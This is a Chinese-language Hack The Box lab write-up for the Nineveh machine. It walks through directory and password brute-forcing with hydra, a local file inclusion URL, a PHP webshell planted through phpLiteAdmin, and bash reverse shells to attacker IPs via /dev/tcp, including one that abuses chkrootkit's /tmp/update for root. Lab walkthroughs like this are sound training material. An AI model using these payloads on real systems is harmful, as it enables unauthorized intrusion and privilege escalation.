zl程序教程

您现在的位置是:首页 >  系统

当前栏目

【Hack The Box】linux练习-- Nineveh

Linux -- The 练习 Box Hack
2023-09-27 14:26:30 时间

HTB 学习笔记

【Hack The Box】linux练习-- Nineveh


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月9日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: 400 Bad Request
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30

发现信息如下:

commonName=nineveh.htb

做一个hosts
而后访问https页面

发现只是一张图片啥都没有,于是开始爆破目录
用ip爆就行了,做不做hosts均可以正常访问

https爆破

先来https

gobuster dir -k -u https://10.129.12.161 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -t 20

扫出来的几个
在这里插入图片描述

http爆破

gobuster dir  -u http://10.129.12.161 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -t 20 -x php

有一个登陆页面,尝试一下登陆,发现报错的信息不严谨
在这里插入图片描述我们可以判断出admin是正确的用户名
在这里插入图片描述

爆破(1)

而后爆破即可
语法就不赘述了

hydra -l admin -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt 10.129.12.161 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 50

得到密码
在这里插入图片描述登陆之后没有什么太多有用的信息,只告诉你说应该去secert目录
但是直接访问并不存在
在这里插入图片描述
但是在我们https的扫描结果中,我们不仅发现了一个可能是secert的目录,如下

https://10.129.12.168/secure_notes/

lfi

在这里插入图片描述这里还发现这个url很长,经过观察,发现参数的传递,有可能存在lfi,经过进一步尝试,最终确定确实存在lfi,只不过我们还没有什么有用的文件,仅仅是查看了passwd
在这里插入图片描述
lfi利用如下

http://10.129.12.161/department/manage.php?notes=files/ninevehNotes/../../../../../../../etc/passwd

在这里插入图片描述

爆破(2)

接着我们来到了https的db目录,发现了phpliteadmin
他不需要账号,所以我们如下爆破

在这里插入图片描述

hydra 10.129.12.161 -l 0xdf -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"
-l 0xdf - hydra需要用户名,即使它不会使用它
-P [password file]- 要尝试的密码文件
https-post-form- 这是要使用的插件,它需要一个包含三个部分的字符串, :分开:
    /db/index.php- POST 到的路径
    password=^PASS^&remember=yes&login=Log+In&proc_login=true- POST 数据,与 ^PASS^将被单词列表中的单词替换的东西
    Incorrect password- 指示登录失败的响应文本

在这里插入图片描述
根据第一个exp我们这样利用
在这里插入图片描述

首先新建一个.php后缀的数据库
然后在新表信息中加入一句话,修改类型为text

<?php echo system($_REQUEST["cmd"]);?>

在这里插入图片描述
在这里插入图片描述而后回到主主界面就可以看到数据库的地址了
在这里插入图片描述

lfu协同后门执行

http://10.129.12.161/department/manage.php?notes=/ninevehNotes/../var/tmp/hack.php&cmd=id

在这里插入图片描述替换cmd参数为如下:因为要预先url编码

bash -c 'bash -i >%26 /dev/tcp/10.10.14.63/8888 0>%261'

在这里插入图片描述

提权

首先尝试内核提权
在这里插入图片描述没成功,然后也看不到啥东西,想起来还有一个那个secert的目录没去看
在这里插入图片描述于是在var/html/ssl找到了

检查图片

strings -n 20 nineveh.png

发现是个ssh
在这里插入图片描述公私钥都给了
用户是amrois

但是靶场没开ssh
端口被隐藏了
端口敲震

寻找knockd配置文件

找配置文件

find / -name "knockd.conf" 2>/dev/null

检查进程同样存在knockd

ps auxww

在这里插入图片描述
在这里插入图片描述发现顺序
在这里插入图片描述
knock 10.129.12.168 571 290 911
在这里插入图片描述

chkrootkit 提权

ssh -i id_rsa amrois@10.129.12.168

运行linpeas.sh
发现了计划任务
发现了计划任务最先要做的就是就是检查进程以及查看计划任务我们能否写入

很可惜,这里我们写不了,所以利用pspy检查进程,发现运行了很多chkrootkit任务,这个程序经常与计划任务一同运作

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述chkrootkit提权的核心思想就是写一个update文件
没别的

update文件写入

printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/443 0>&1\n' >> /tmp/update
chmod 777 /tmp/update
nc -nlvp 443

在这里插入图片描述